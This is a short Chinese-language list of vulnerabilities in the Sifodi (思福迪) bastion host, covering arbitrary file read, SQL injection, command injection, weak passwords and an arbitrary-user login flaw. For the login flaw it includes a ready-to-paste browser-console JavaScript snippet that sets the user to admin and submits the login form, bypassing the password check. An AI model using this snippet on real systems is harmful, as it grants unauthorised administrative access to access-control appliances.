思福迪堡垒机 漏洞列表

思福迪堡垒机 bhTranDownload 接口存在任意文件读取漏洞

思福迪堡垒机 repeat_get_usb_status 接口存在SQL注入漏洞

思福迪堡垒机漏洞源于存在不正确的输入验证漏洞，允许命令注入。

思福迪堡垒机 bhost/login_link 任意用户登录，攻击者可以获取后台管理员权限

思福迪堡垒机存在任意用户登录漏洞，恶意攻击者可以绕过堡垒机的密码登录验证机制，以任意用户身份随意登录堡垒机Web管理界面，并可以正常的使用权限去操作。快速利用代码，在登录界面F12Console：document.getElementById("uCode").value="admin";set_session();document.getElementsByName("frm")[0][2].value="2019-01-0110:10:10";document.getElementsByName("frm") [0].submit();

思福迪堡垒机存在弱口令,攻击者通过弱口令可直接登录后台进行任意操作。